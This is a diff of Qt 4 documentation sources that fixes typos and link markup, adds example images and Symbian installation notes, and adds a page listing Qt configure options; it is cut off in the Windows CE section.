--- a/doc/src/development/qtestlib.qdoc
+++ b/doc/src/development/qtestlib.qdoc
@@ -130,7 +130,7 @@
 
     \snippet doc/src/snippets/code/doc_src_qtestlib.qdoc 1
 
-    If you are using other buildtools, make sure that you add the location
+    If you are using other build tools, make sure that you add the location
     of the QTestLib header files to your include path (usually \c{include/QtTest}
     under your Qt installation directory). If you are using a release build
     of Qt, link your test to the \c QtTest library. For debug builds, use
diff --git a/doc/src/examples/audiodevices.qdoc b/doc/src/examples/audiodevices.qdoc
index b812968..fd56e38 100644
--- a/doc/src/examples/audiodevices.qdoc
+++ b/doc/src/examples/audiodevices.qdoc
@@ -32,6 +32,8 @@
     The Audio Devices example demonstrates the basic use of QAudioDeviceInfo class
     provided with Qt.
 
+    \image audiodevices-example.png
+
     Qt provides the QAudioDeviceInfo class to enable audio querying within
     a standard application user interface.
 
diff --git a/doc/src/examples/audioinput.qdoc b/doc/src/examples/audioinput.qdoc
index 7ca01a5..44b480f 100644
--- a/doc/src/examples/audioinput.qdoc
+++ b/doc/src/examples/audioinput.qdoc
@@ -32,6 +32,8 @@
     The Audio Input example demonstrates the basic use of QAudioInput class
     provided with Qt.
 
+    \image audioinput-example.png
+
     Qt provides the QAudioInput class to enable audio functionality within
     a standard application user interface.
 
diff --git a/doc/src/examples/audiooutput.qdoc b/doc/src/examples/audiooutput.qdoc
index 358c404..1703883 100644
--- a/doc/src/examples/audiooutput.qdoc
+++ b/doc/src/examples/audiooutput.qdoc
@@ -32,6 +32,8 @@
     The Audio Output example demonstrates the basic use of the QAudioOutput class
     provided with Qt.
 
+    \image audiooutput-example.png
+
     This example provides a tone generator to supply continuous audio playback.
     The first button allows pause and resume of the playback.
     The second button allows toggling between push and pull modes of operation.
diff --git a/doc/src/examples/basicgraphicslayouts.qdoc b/doc/src/examples/basicgraphicslayouts.qdoc
index 11b99f3..0110e29 100644
--- a/doc/src/examples/basicgraphicslayouts.qdoc
+++ b/doc/src/examples/basicgraphicslayouts.qdoc
@@ -133,19 +133,19 @@
 
     \snippet examples/graphicsview/basicgraphicslayouts/layoutitem.cpp 2
 
-    The reimplementation of {QGraphicsItem::boundingRect()}{boundingRect()}
+    The reimplementation of \l{QGraphicsItem::}{boundingRect()}
     will set the top left corner at (0,0), and the size of it will be
     the size of the layout items
-    {QGraphicsLayoutItem::geometry()}{geometry()}. This is the area that
+    \l{QGraphicsLayoutItem::}{geometry()}. This is the area that
     we paint within.
 
     \snippet examples/graphicsview/basicgraphicslayouts/layoutitem.cpp 3
 
 
-    The reimplementation of {QGraphicsLayoutItem::setGeometry()}{setGeometry()}
+    The reimplementation of \l{QGraphicsLayoutItem::setGeometry()}{setGeometry()}
     simply calls its baseclass implementation. However, since this will change
     the boundingRect we must also call
-    {QGraphicsItem::prepareGeometryChange()}{prepareGeometryChange()}.
+    \l{QGraphicsItem::prepareGeometryChange()}{prepareGeometryChange()}.
     Finally, we move the item according to \c geom.topLeft().
 
     \snippet examples/graphicsview/basicgraphicslayouts/layoutitem.cpp 4
diff --git a/doc/src/examples/combowidgetmapper.qdoc b/doc/src/examples/combowidgetmapper.qdoc
index 1a9bf5a..897d135 100644
--- a/doc/src/examples/combowidgetmapper.qdoc
+++ b/doc/src/examples/combowidgetmapper.qdoc
@@ -32,7 +32,7 @@
     The Delegate Widget Mapper example shows how to use a custom delegate to
     map information from a model to specific widgets on a form.
 
-    \image combo-widget-mapper.png
+    \image combowidgetmapper-example.png
 
     In the \l{Simple Widget Mapper Example}, we showed the basic use of a
     widget mapper to relate data exposed by a model to simple input widgets
diff --git a/doc/src/examples/concentriccircles.qdoc b/doc/src/examples/concentriccircles.qdoc
index dc17871..315469b 100644
--- a/doc/src/examples/concentriccircles.qdoc
+++ b/doc/src/examples/concentriccircles.qdoc
@@ -192,7 +192,7 @@
 
     \snippet examples/painting/concentriccircles/window.h 0
 
-    We declare the various components of the main window, i.e the text
+    We declare the various components of the main window, i.e., the text
     labels and a double array that will hold reference to the four \c
     {CircleWidget}s. In addition we declare the private \c
     createLabel() function to simplify the constructor.
diff --git a/doc/src/examples/drilldown.qdoc b/doc/src/examples/drilldown.qdoc
index bc45db3..8739270 100644
--- a/doc/src/examples/drilldown.qdoc
+++ b/doc/src/examples/drilldown.qdoc
@@ -444,7 +444,7 @@
     Finally, we store the location ID that this particular record is
     associated with as well as a z-value. In the \l {Graphics View
     Framework}, an item's z-value determines its position in the item
-    stack. An item of high Z-value will be drawn on top of an item
+    stack. An item of high z-value will be drawn on top of an item
     with a lower z-value if they share the same parent item. We also
     provide an \c updateItemPosition() function to refresh the view
     when required.
diff --git a/doc/src/examples/elasticnodes.qdoc b/doc/src/examples/elasticnodes.qdoc
index d6676e8..bba6d90 100644
--- a/doc/src/examples/elasticnodes.qdoc
+++ b/doc/src/examples/elasticnodes.qdoc
@@ -77,12 +77,12 @@
     function is called to calculate the forces that push and pull on this node
     and its neighbors.
 
-   The \c Node class also reimplements
-   \l{QGraphicsItem::itemChange()}{itemChange()} to react to state changes (in
-   this case, position changes), and
-   \l{QGraphicsItem::mousePressEvent()}{mousePressEvent()} and
-   \l{QGraphicsItem::mouseReleaseEvent()}{mouseReleaseEvent()} to update the
-   item's visual appearance.
+    The \c Node class also reimplements
+    \l{QGraphicsItem::itemChange()}{itemChange()} to react to state changes (in
+    this case, position changes), and
+    \l{QGraphicsItem::mousePressEvent()}{mousePressEvent()} and
+    \l{QGraphicsItem::mouseReleaseEvent()}{mouseReleaseEvent()} to update the
+    item's visual appearance.
 
     We will start reviewing the \c Node implementation by looking at its
     constructor:
@@ -242,7 +242,7 @@
 
     The \c adjust() function repositions the edge, and the item also implements
     \l{QGraphicsItem::boundingRect()}{boundingRect()} and
-    \{QGraphicsItem::paint()}{paint()}.
+    \l{QGraphicsItem::paint()}{paint()}.
 
     We will now review its implementation.
 
diff --git a/doc/src/examples/fancybrowser.qdoc b/doc/src/examples/fancybrowser.qdoc
index 4121904..b46903d 100644
--- a/doc/src/examples/fancybrowser.qdoc
+++ b/doc/src/examples/fancybrowser.qdoc
@@ -118,7 +118,7 @@
     using CSS. 
 
     \snippet examples/webkit/fancybrowser/mainwindow.cpp 8
-    
+
     The \c rotateImages() function rotates the images on the current
     web page. Webkit supports CSS transforms and this JavaScript code 
     looks up all \e {img} elements and rotates the images 180 degrees
@@ -127,7 +127,7 @@
     \snippet examples/webkit/fancybrowser/mainwindow.cpp 9
 
     The remaining four methods remove different elements from the current web 
-    page. \c removeGifImages() removes all Gif images on the page by looking up 
+    page. \c removeGifImages() removes all GIF images on the page by looking up 
     the \e {src} attribute of all the elements on the web page. Any element with 
     a \e {gif} file as its source is removed. \c removeInlineFrames() removes all 
     \e {iframe} or inline elements. \c removeObjectElements() removes all 
diff --git a/doc/src/examples/qml-examples.qdoc b/doc/src/examples/qml-examples.qdoc
index 46af110..bbea19b 100644
--- a/doc/src/examples/qml-examples.qdoc
+++ b/doc/src/examples/qml-examples.qdoc
@@ -68,7 +68,7 @@
     \title Animation: States Example
     \example declarative/animation/states
 
-    These examples show how to use \l{States}{states} and \l{Transitions}{transitions}.
+    These examples show how to use \l{State}{states} and \l{Transition}{transitions}.
 
     The \c states.qml example shows how an item can change between states, and \c transitions.qml
     shows how these state changes can be animated.
@@ -270,16 +270,26 @@
 */
 
 /*!
-    \title Positioners Example
-    \example declarative/positioners
+    \title Positioners: Adding and Removing Items Example
+    \example declarative/positioners/addandremove
 
-    This example shows how to use positioner elements such as \l Row, \l Column,
-    \l Grid and \l Flow.
+    This example shows how to use the positioner elements such as \l Row, \l Column,
+    \l Grid and \l Flow, in particular how to add and remove items with appropriate transitions.
 
     \image qml-positioners-example.png
 */
 
 /*!
+    \title Positioners: Layout Direction Example
+    \example declarative/positioners/layoutdirection
+
+    This example shows how to control the horizontal layout direction of 
+    \l Row, \l Grid and \l Flow positioners.
+
+    \image qml-positioners-layoutdirection-example.png
+*/
+
+/*!
     \title Key Interaction: Focus Example
     \example declarative/keyinteraction/focus
 
@@ -664,7 +674,7 @@
 
     This example shows how to create a tab widget. It also demonstrates how
     \l {Property aliases}{property aliases} and
-    \l {Default Properties}{default properties} can be used to collect and
+    \l {Introduction to the QML Language#Default Properties}{default properties} can be used to collect and
     assemble the child items declared within an \l Item.
 
     \image qml-tabwidget-example.png
diff --git a/doc/src/examples/qml-folderlistmodel.qdoc b/doc/src/examples/qml-folderlistmodel.qdoc
index c9d248e..0a01ce0 100644
--- a/doc/src/examples/qml-folderlistmodel.qdoc
+++ b/doc/src/examples/qml-folderlistmodel.qdoc
@@ -41,10 +41,15 @@ making the model available to QML.
 
 \section1 Usage from QML
 
-The type we are creating can be used from QML like this:
+The FolderListModel can be used from QML like this:
 
 \snippet doc/src/snippets/declarative/folderlistmodel.qml 0
 
+This displays a list of all subfolders and QML files in the current folder.
+
+The FolderListModel \c folder property can be set to change the folder that
+is currently displayed.
+
 \section1 Defining the Model
 
 We are subclassing QAbstractListModel which will allow us to give data to QML and
diff --git a/doc/src/examples/svgalib.qdoc b/doc/src/examples/svgalib.qdoc
index b69bead..e13cd7f 100644
--- a/doc/src/examples/svgalib.qdoc
+++ b/doc/src/examples/svgalib.qdoc
@@ -322,9 +322,8 @@
     \snippet examples/qws/svgalib/svgalibsurface.h 0
 
     We can implement most of the pure virtual functions inherited from
-    QWSWindowSurface as trivial inline functions, except the 
-    \l {QWindowSurface::}{scroll()} function that actually makes use
-    of some hardware acceleration:
+    QWSWindowSurface as trivial inline functions, except the scroll()
+    function that actually makes use of some hardware acceleration:
 
     \snippet examples/qws/svgalib/svgalibsurface.cpp 0
 
diff --git a/doc/src/examples/textfinder.qdoc b/doc/src/examples/textfinder.qdoc
index 31fe785..e92bb98 100644
--- a/doc/src/examples/textfinder.qdoc
+++ b/doc/src/examples/textfinder.qdoc
@@ -80,7 +80,7 @@
 
     \snippet examples/uitools/textfinder/textfinder.h 0
 
-    The slot \c{on_find_Button_clicked()} is a slot named according to the
+    The slot \c{on_findButton_clicked()} is a slot named according to the
     \l{Using a Designer UI File in Your Application#Automatic Connections}
     {Automatic Connection} naming convention required
     by \c uic.
diff --git a/doc/src/external-resources.qdoc b/doc/src/external-resources.qdoc
index 4003e56..7639324 100644
--- a/doc/src/external-resources.qdoc
+++ b/doc/src/external-resources.qdoc
@@ -453,3 +453,8 @@
     \externalpage http://www.libusb.org/
     \title libusb
 */
+
+/*!
+    \externalpage http://publicsuffix.org/
+    \title publicsuffix.org
+*/
diff --git a/doc/src/frameworks-technologies/plugins-howto.qdoc b/doc/src/frameworks-technologies/plugins-howto.qdoc
index 3dc2996..b332d57 100644
--- a/doc/src/frameworks-technologies/plugins-howto.qdoc
+++ b/doc/src/frameworks-technologies/plugins-howto.qdoc
@@ -48,7 +48,7 @@
 
     \ingroup frameworks-technologies
     \ingroup qt-basic-concepts
-	
+
 
     \keyword QT_DEBUG_PLUGINS
     \keyword QT_NO_PLUGIN_CHECK
@@ -87,7 +87,7 @@
     directory.
 
     \table
-    \header \o Base Class              \o Directory Name                \o Key Case Sensitivity
+    \header \o Base Class              \o Directory Name      \o Key Case Sensitivity
     \row    \o QAccessibleBridgePlugin \o \c accessiblebridge \o Case Sensitive
     \row    \o QAccessiblePlugin       \o \c accessible       \o Case Sensitive
     \row    \o QDecorationPlugin       \o \c decorations      \o Case Insensitive
@@ -309,5 +309,10 @@
     to make sure that the \c{QT_STATICPLUGIN} preprocessor macro is
     defined.
 
+    \section1 Deploying and Debugging Plugins
+
+    The \l{Deploying Plugins} document covers the process of deploying
+    plugins with applications and debugging them when problems arise.
+
     \sa QPluginLoader, QLibrary, {Plug & Paint Example}
 */
diff --git a/doc/src/frameworks-technologies/richtext.qdoc b/doc/src/frameworks-technologies/richtext.qdoc
index 7a5a6a6..089f84d 100644
--- a/doc/src/frameworks-technologies/richtext.qdoc
+++ b/doc/src/frameworks-technologies/richtext.qdoc
@@ -37,6 +37,7 @@
 
     \ingroup frameworks-technologies
     \ingroup qt-basic-concepts
+	\ingroup best-practices
 	
     \nextpage Rich Text Document Structure
 
diff --git a/doc/src/getting-started/examples.qdoc b/doc/src/getting-started/examples.qdoc
index a68b211..ad97836 100644
--- a/doc/src/getting-started/examples.qdoc
+++ b/doc/src/getting-started/examples.qdoc
@@ -490,10 +490,12 @@
     \image ipc-examples.png
 
     \list
-    \o \l{ipc/localfortuneclient}{Local Fortune Client}\raisedaster
-    \o \l{ipc/localfortuneserver}{Local Fortune Server}\raisedaster
+    \o \l{ipc/localfortuneclient}{Local Fortune Client}
+    \o \l{ipc/localfortuneserver}{Local Fortune Server}
     \o \l{ipc/sharedmemory}{Shared Memory}\raisedaster
     \endlist
+
+    Examples marked with an asterisk (*) are fully documented.
 */
 
 /*!
diff --git a/doc/src/getting-started/gettingstarted.qdoc b/doc/src/getting-started/gettingstarted.qdoc
index 2b8078e..502fb65 100644
--- a/doc/src/getting-started/gettingstarted.qdoc
+++ b/doc/src/getting-started/gettingstarted.qdoc
@@ -33,7 +33,7 @@
 	\section1
 	Creating applications using Qt and QML is easy enough once you get started.
 	To get you started we have created two tutorials creating two similar applications,
-	but using diiferent approaches. One tutorial implements the user interface using
+	but using different approaches. One tutorial implements the user interface using
 	QML, while the other implements the whole application using traditional Qt.
 	
 	Please click on the links below to start the ride.
diff --git a/doc/src/getting-started/gettingstartedqml.qdoc b/doc/src/getting-started/gettingstartedqml.qdoc
index 13f1192..ccb9771 100644
--- a/doc/src/getting-started/gettingstartedqml.qdoc
+++ b/doc/src/getting-started/gettingstartedqml.qdoc
@@ -133,7 +133,7 @@
     the interactive area where mouse movements are detected. For our button, we anchor the
     whole MouseArea to its parent, which is \c simplebutton. The \c anchors.fill syntax is
     one way of accessing a specific property called \c fill inside a group of properties
-    called \c anchors. QML uses \l {Anchor-based Layout in QML}{anchor based layouts} where
+    called \c anchors. QML uses \l {Anchor-Based Layout in QML}{anchor-based layouts} where
     items can anchor to another item, creating robust layouts.
 
     The \c MouseArea has many signal handlers that are called during mouse movements within
diff --git a/doc/src/getting-started/how-to-learn-qt.qdoc b/doc/src/getting-started/how-to-learn-qt.qdoc
index 5c1e5ca..239c8a1 100644
--- a/doc/src/getting-started/how-to-learn-qt.qdoc
+++ b/doc/src/getting-started/how-to-learn-qt.qdoc
@@ -51,9 +51,9 @@
     key overviews to deepen your understanding of Qt: The Qt \l{Object
     Model} and \l{Signals and Slots}.
 
-    \beginfloatleft
+    \div{float-left}
     \inlineimage qtdemo-small.png
-    \endfloat
+    \enddiv
 
     \section1 Getting an Overview
 
diff --git a/doc/src/getting-started/installation.qdoc b/doc/src/getting-started/installation.qdoc
index 4b4dab5..6d0256e 100644
--- a/doc/src/getting-started/installation.qdoc
+++ b/doc/src/getting-started/installation.qdoc
@@ -874,9 +874,10 @@ If the installation fails, please make sure that there is
 no previously installed version of Qt on the phone.
 
 Qt requires some dependent packages to be installed on the device,
-they are shipped in the Symbian SDK and can be installed using the
-runonphone tool as well.
-The packages can be found in the EPOCROOT at the following locations;
+which can be installed using the runonphone tool as well. One is
+the \c{sqlite3.sis}, which is included in the Qt distribution, while
+the others are shipped with the Symbian SDK. The required packages
+can be found from the following locations:
 
 \snippet doc/src/snippets/code/doc_src_installation.qdoc 50
 
@@ -1028,9 +1029,9 @@ We hope you will enjoy using Qt.
     Qt from its source code, you will also need to install the development
     packages for these libraries for your system.
 
-    \table 90%
-    \header \o Name \o Library \o Notes \o Configuration options \o Minimum working version
     \raw HTML
+    <table class="generic"> 
+    <thead><tr class="qt-style topAlign"><th>Name</th><th>Library</th><th>Notes</th><th>Configuration options</th><th>Minimum working version 
     <tr id="OptionalColor">
     <td> XRender </td><td> libXrender </td><td> X Rendering Extension; used for anti-aliasing</td>
     <td><tt>-xrender</tt> or auto-detected</td><td>0.9.0</td>
@@ -1077,9 +1078,9 @@ We hope you will enjoy using Qt.
     </tr><tr id="PthreadColor">
     <td> pthread </td><td> libpthread </td><td> Multithreading</td>
     <td></td><td>2.3.5</td>
-    </tr>
+    </tr></th></tr></thead> 
+    </table>  
     \endraw
-    \endtable
 
     \note You must compile with XRender support to get alpha transparency
     support for pixmaps and images.
@@ -1167,8 +1168,9 @@ We hope you will enjoy using Qt.
             {Windows Mobile 6 Professional/Standard}
     \endlist
 
+    \bold{Note:}
     \table
-        \row \bold{Note:}
+        \row
             \o
             \list 1
                 \o Currently, there is only compile support for Windows CE 5.0
@@ -1273,10 +1275,18 @@ We hope you will enjoy using Qt.
            in this release.
     \endlist
 
-    Running Qt on real device requires the Open C to be installed on the device.
-    The Open C installation packages are embedded into \c{qt_installer.sis}, which is included in
-    Qt for Symbian binary package. If you are building Qt from scratch, you can find the
-    required packages in the Symbian SDK where you installed Open C/C++:
+    Running Qt on real device requires the Open C and sqlite3 to be installed on the device.
+    These installation packages are embedded into \c{qt_installer.sis}, which is included in
+    Qt for Symbian binary package.
+
+    If you are building Qt from scratch, you can find the sqlite3 package from
+    under your Qt installation:
+
+    \list
+        \o \c{src\s60installs\sqlite3.sis}
+    \endlist
+
+    The Open C packages you can find in the Symbian SDK where you installed Open C/C++:
     \list
         \o \c{nokia_plugin\openc\s60opencsis\pips_s60_<version>.sis}
         \o \c{nokia_plugin\openc\s60opencsis\openc_ssl_s60_<version>.sis}
@@ -1297,3 +1307,290 @@ We hope you will enjoy using Qt.
 
     \sa {Known Issues}
 */
+
+/*!
+    \page configure-options.html
+    \title Configure options for Qt
+    \ingroup installation
+    \brief Brief description of available options building Qt.
+	
+	This page gives a brief description of the different options
+	available when building Qt using configure. To build Qt using
+	default options, just call configure from the command line like
+	showed below. If you would like to customize your build, please
+	use the options listed in the following tables.
+	
+ 	\c {.\configure.exe}
+ 
+	\section2 Cross platform options:
+ 
+   \table
+   \header \o Option  \o Description \o Note
+   \row   \o \c {-buildkey } <key> \o Build the Qt library and plugins
+   using the specified \o
+   \row   \o \c {<key>} \o When the library loads plugins, it will only
+   load those that have a matching <key>. \o
+   \row   \o \c {-release } \o Compile and link Qt with debugging turned off. \o
+   \row   \o \c {-debug } \o Compile and link Qt with debugging turned on.
+   \o Defualt value.
+   \row   \o \c {-debug-and-release} \o Compile and link two Qt libraries,
+   with and without debugging turned on. \o This option denotes a default
+   value and needs to be evaluated. If the evaluation succeeds, the
+   feature is included.
+   \row   \o \c {-opensource} \o Compile and link the Open-Source Edition
+   of Qt. \o
+   \row   \o \c {-commercial } \o Compile and link the Commercial Edition
+   of Qt. \o
+   \row   \o \c {-developer-build} \o Compile and link Qt with Qt developer
+   options including auto-tests exporting) \o
+   \row   \o \c {-shared} \o Create and use shared Qt libraries. \o Defualt
+   value.
+   \row   \o \c {-static} \o Create and use static Qt libraries. \o
+   \row   \o \c {-ltcg} \o Use Link Time Code Generation. \o Apply to release
+   builds only.
+   \row   \o \c {-no-ltcg} \o Do not use Link Time Code Generation. \o Defualt
+   value.
+   \row   \o \c {-no-fast} \o Configure Qt normally by generating Makefiles for
+   all project files. \o Defualt value.
+   \row   \o \c {-fast} \o Configure Qt quickly by generating Makefiles only for
+   library and subdirectory targets. \o All other Makefiles are created as
+   wrappers which will in turn run qmake.
+   \row   \o \c {-no-exceptions} \o Disable exceptions on platforms that support
+   it. \o 
+   \row   \o \c {-exceptions} \o Enable exceptions on platforms that support it.
+   \o Defualt value.
+   \row   \o \c {-no-accessibility} \o Do not compile Windows Active
+   Accessibility support. \o
+   \row   \o \c {-accessibility} \o Compile Windows Active Accessibility
+   support. \o Defualt value.
+   \row   \o \c {-no-stl} \o Do not compile STL support. \o
+   \row   \o \c {-stl} \o Compile STL support. \o Defualt value.
+   \row   \o \c {-no-sql-<driver>} \o Disable SQL <driver> entirely, by default
+   none are turned on. \o
+   \row   \o \c {-qt-sql-<driver>} \o Enable a SQL <driver> in the Qt Library.
+   \o
+   \row   \o \c {-plugin-sql-<driver>} \o Enable SQL <driver> as a plugin to be
+   linked to at run time. \o Available values for <driver>: mysql, psql,
+   oci, odbc, tds, db2, sqlite, sqlite2, ibase. Drivers marked with a
+   '+' during configure have been detected as available on this system.
+   \row   \o \c {-system-sqlite} \o Use sqlite from the operating system. \o
+   \row   \o \c {-no-qt3support} \o Disables the Qt 3 support functionality. \o
+   \row   \o \c {-no-opengl} \o Disables OpenGL functionality \o
+   \row   \o \c {-opengl <api>} \o Enable OpenGL support with specified API
+   version. \o Available values for <api>: desktop - Enable support for
+   Desktop OpenGL (Default), es1 - Enable support for OpenGL ES Common
+   Profile, es2 - Enable support for OpenGL ES 2.0. 
+   \row   \o \c {-no-openvg} \o Disables OpenVG functionality \o Defualt value.
+   \row   \o \c {-openvg} \o Enables OpenVG functionality \o Requires EGL
+   support, typically supplied by an OpenGL or other graphics
+   implementation. 
+   \row   \o \c {-platform <spec> } \o The operating system and compiler you
+   are building on. \o The default value is %QMAKESPEC%.
+   \row   \o \c {-xplatform <spec> } \o The operating system and compiler you
+   are cross compiling to. \o See the README file for a list of supported
+   operating systems and compilers.
+   \row   \o \c {-qtnamespace <namespace>} \o Wraps all Qt library code in
+   'namespace name {..} \o
+   \row   \o \c {-qtlibinfix <infix>} \o Renames all Qt* libs to Qt*<infix>
+   \o
+   \row   \o \c {-D <define>} \o Add an explicit define to the preprocessor.
+   \o
+   \row   \o \c {-I <includepath>} \o Add an explicit include path. \o
+   \row   \o \c {-L <librarypath>} \o Add an explicit library path. \o
+   \row   \o \c {-l <libraryname>} \o Add an explicit library name, residing
+   in a librarypath. \o
+   \row   \o \c {-graphicssystem <sys>} \o Specify which graphicssystem should
+   be used. \o Available values for <sys>: * raster - Software rasterizer,
+   opengl - Using OpenGL acceleration, experimental!, openvg - Using
+   OpenVG acceleration, experimental! 
+   \row   \o \c {-help, -h, -?} \o Display this information. \o
+   \endtable
+	
+ \section2 Third Party Libraries:
+   \table
+		\header \o Option  \o Description \o Note
+		\row   \o \c {-qt-zlib} \o Use the zlib bundled with Qt. \o
+		\row   \o \c {-system-zlib} \o Use zlib from the operating system.
+		\o See http://www.gzip.org/zlib
+		\row   \o \c {-no-gif} \o Do not compile GIF reading support. 
+		\o This option denotes a default value and needs to be evaluated.
+		If the evaluation succeeds, the feature is included.
+		\row   \o \c {-qt-gif} \o Compile GIF reading support. \o See also
+		src/gui/image/qgifhandler_p.h
+		\row   \o \c {-no-libpng} \o Do not compile PNG support. \o
+		\row   \o \c {-qt-libpng} \o Use the libpng bundled with Qt.
+		\o This option denotes a default value and needs to be evaluated.
+		If the evaluation succeeds, the feature is included.
+		\row   \o \c {-system-libpng} \o Use libpng from the operating system.
+		\o See http://www.libpng.org/pub/png
+		\row   \o \c {-no-libmng} \o Do not compile MNG support. \o This option
+		denotes a default value and needs to be evaluated. If the evaluation
+		succeeds, the feature is included.
+		\row   \o \c {-qt-libmng} \o Use the libmng bundled with Qt. \o
+		\row   \o \c {-system-libmng} \o Use libmng from the operating system.
+		\o See See http://www.libmng.com
+		\row   \o \c {-no-libtiff} \o Do not compile TIFF support. \o This option
+		denotes a default value and needs to be evaluated. If the evaluation
+		succeeds, the feature is included.
+		\row   \o \c {-qt-libtiff} \o Use the libtiff bundled with Qt. \o
+		\row   \o \c {-system-libtiff} \o Use libtiff from the operating system.
+		\o See http://www.libtiff.org
+		\row   \o \c {-no-libjpeg} \o Do not compile JPEG support. \o This option
+		denotes a default value and needs to be evaluated. If the evaluation
+		succeeds, the feature is included.
+		\row   \o \c {-qt-libjpeg} \o Use the libjpeg bundled with Qt. \o
+		\row   \o \c {-system-libjpeg} \o Use libjpeg from the operating system.
+		\o See http://www.ijg.org. This option denotes a default value and
+		needs to be evaluated. If the evaluation succeeds, the feature is
+		included.
+	\endtable
+	
+  \section2 Qt for Windows only:
+  \table
+   \header \o Option  \o Description \o Note
+   \row   \o \c {-no-dsp} \o Do not generate VC++ .dsp files. \o
+   \row   \o \c {-dsp} \o Generate VC++ .dsp files, only if spec "win32-msvc".
+   \o Defualt value.
+   \row   \o \c {-no-vcproj} \o Do not generate VC++ .vcproj files. \o
+   \row   \o \c {-vcproj} \o Generate VC++ .vcproj files, only if platform
+   "win32-msvc.net". \o Defualt value.
+   \row   \o \c {-no-incredibuild-xge} \o Do not add IncrediBuild XGE distribution
+   commands to custom build steps. \o
+   \row   \o \c {-incredibuild-xge} \o Add IncrediBuild XGE distribution commands
+   to custom build steps. This will distribute MOC and UIC steps, and other
+   custom buildsteps which are added to the INCREDIBUILD_XGE variable.
+   \o The IncrediBuild distribution commands are only added to Visual Studio
+   projects. This option denotes a default value and needs to be evaluated.
+   If the evaluation succeeds, the feature is included.
+   \row   \o \c {-no-plugin-manifests} \o Do not embed manifests in plugins. \o
+   \row   \o \c {-plugin-manifests} \o Embed manifests in plugins. 
+   \o Defualt value.
+   \row   \o \c {-no-qmake} \o Do not compile qmake. \o
+   \row   \o \c {-qmake} \o Compile qmake. \o Defualt value
+   \row   \o \c {-dont-process} \o Do not generate Makefiles/Project files. This
+   will override -no-fast if specified. \o
+   \row   \o \c {-process} \o Generate Makefiles/Project files. \o Defualt value.
+   \row   \o \c {-no-rtti} \o Do not compile runtime type information. \o
+   \row   \o \c {-rtti} \o Compile runtime type information. \o Defualt value.
+   \row   \o \c {-no-mmx} \o Do not compile with use of MMX instructions \o
+   \row   \o \c {-mmx} \o Compile with use of MMX instructions \o This option
+   denotes a default value and needs to be evaluated. If the evaluation
+   succeeds, the feature is included.
+   \row   \o \c {-no-3dnow} \o Do not compile with use of 3DNOW instructions \o
+   \row   \o \c {-3dnow} \o Compile with use of 3DNOW instructions \o This
+   option denotes a default value and needs to be evaluated. If the
+   evaluation succeeds, the feature is included.
+   \row   \o \c {-no-sse} \o Do not compile with use of SSE instructions \o
+   \row   \o \c {-sse} \o Compile with use of SSE instructions \o This option
+   denotes a default value and needs to be evaluated. If the evaluation
+   succeeds, the feature is included.
+   \row   \o \c {-no-sse2} \o Do not compile with use of SSE2 instructions \o
+   \row   \o \c {-sse2} \o Compile with use of SSE2 instructions \o This option
+   denotes a default value and needs to be evaluated. If the evaluation
+   succeeds, the feature is included.
+   \row   \o \c {-no-openssl} \o Do not compile in OpenSSL support \o
+   \row   \o \c {-openssl} \o Compile in run-time OpenSSL support \o This option
+   denotes a default value and needs to be evaluated. If the evaluation
+   succeeds, the feature is included.
+   \row   \o \c {-openssl-linked} \o Compile in linked OpenSSL support \o
+   \row   \o \c {-no-dbus} \o Do not compile in D-Bus support \o
+   \row   \o \c {-dbus} \o Compile in D-Bus support and load libdbus-1 dynamically.
+   \o This option denotes a default value and needs to be evaluated.
+   If the evaluation succeeds, the feature is included.
+   \row   \o \c {-dbus-linked} \o Compile in D-Bus support and link to
+   libdbus-1 \o
+   \row   \o \c {-no-phonon} \o Do not compile in the Phonon module \o
+   \row   \o \c {-phonon} \o Compile the Phonon module. \o Phonon is built if a
+   decent C++ compiler is used. This option denotes a default value and needs
+   to be evaluated. If the evaluation succeeds, the feature is included.
+   \row   \o \c {-no-phonon-backend} \o Do not compile the platform-specific
+   Phonon backend-plugin \o
+   \row   \o \c {-phonon-backend} \o Compile in the platform-specific Phonon
+   backend-plugin \o Defualt value.
+   \row   \o \c {-no-multimedia} \o Do not compile the multimedia module \o
+   \row   \o \c {-multimedia} \o Compile in multimedia module \o Defualt value.
+   \row   \o \c {-no-audio-backend} \o Do not compile in the platform audio
+   backend into QtMultimedia \o
+   \row   \o \c {-audio-backend} \o Compile in the platform audio backend into
+   QtMultimedia \o This option denotes a default value and needs to be
+   evaluated. If the evaluation succeeds, the feature is included.
+   \row   \o \c {-no-webkit} \o Do not compile in the WebKit module \o
+   \row   \o \c {-webkit} \o Compile in the WebKit module \o WebKit is built
+   if a decent C++ compiler is used. This option denotes a default value
+   and needs to be evaluated. If the evaluation succeeds, the feature is
+   included.
+   \row   \o \c {-webkit-debug} \o Compile in the WebKit module with debug
+   symbols. \o
+   \row   \o \c {-no-script} \o Do not build the QtScript module. \o
+   \row   \o \c {-script} \o Build the QtScript module. \o This option
+   denotes a default value and needs to be evaluated. If the evaluation
+   succeeds, the feature is included.
+   \row   \o \c {-no-scripttools} \o Do not build the QtScriptTools module. \o
+   \row   \o \c {-scripttools} \o Build the QtScriptTools module. \o This
+   option denotes a default value and needs to be evaluated. If the
+   evaluation succeeds, the feature is included.
+   \row   \o \c {-no-declarative} \o Do not build the declarative module \o
+   \row   \o \c {-declarative} \o Build the declarative module \o This option
+   denotes a default value and needs to be evaluated. If the evaluation
+   succeeds, the feature is included.
+   \row   \o \c {-no-declarative-debug} \o Do not build the declarative debugging
+   support \o
+   \row   \o \c {-declarative-debug} \o Build the declarative debugging support 
+   \o Defualt value.
+   \row   \o \c {-arch <arch>} \o Specify an architecture. \o Available values for
+   <arch>:  * windows, windowsce, symbian, boundschecker, generic.
+   \row   \o \c {-no-style-<style>} \o Disable <style> entirely. \o
+   \row   \o \c {-qt-style-<style>} \o Enable <style> in the Qt Library. 
+   \o Available styles: * windows, + windowsxp, + windowsvista,  
+   * plastique, * cleanlooks, * motif, * cde, windowsce, windowsmobile,
+   s60
+   \row   \o \c {-no-native-gestures} \o Do not use native gestures on Windows 7.
+   \o 
+   \row   \o \c {-native-gestures} \o Use native gestures on Windows 7.
+   \o Defualt value.
+   \row   \o \c {-no-mp} \o Do not use multiple processors for compiling with MSVC
+   \o Defualt value.
+   \row   \o \c {-mp} \o Use multiple processors for compiling with MSVC (-MP) \o
+   \row   \o \c {-loadconfig <config>} \o Run configure with the parameters from file 
+   configure_<config>.cache. \o
+   \row   \o \c {-saveconfig <config>} \o Run configure and save the parameters in
+   file configure_<config>.cache. \o
+   \row   \o \c {-redo} \o Run configure with the same parameters as last time. \o
+\endtable
+
+\section2 Qt for Windows CE only:
+   \table
+   \header \o Option  \o Description \o Note
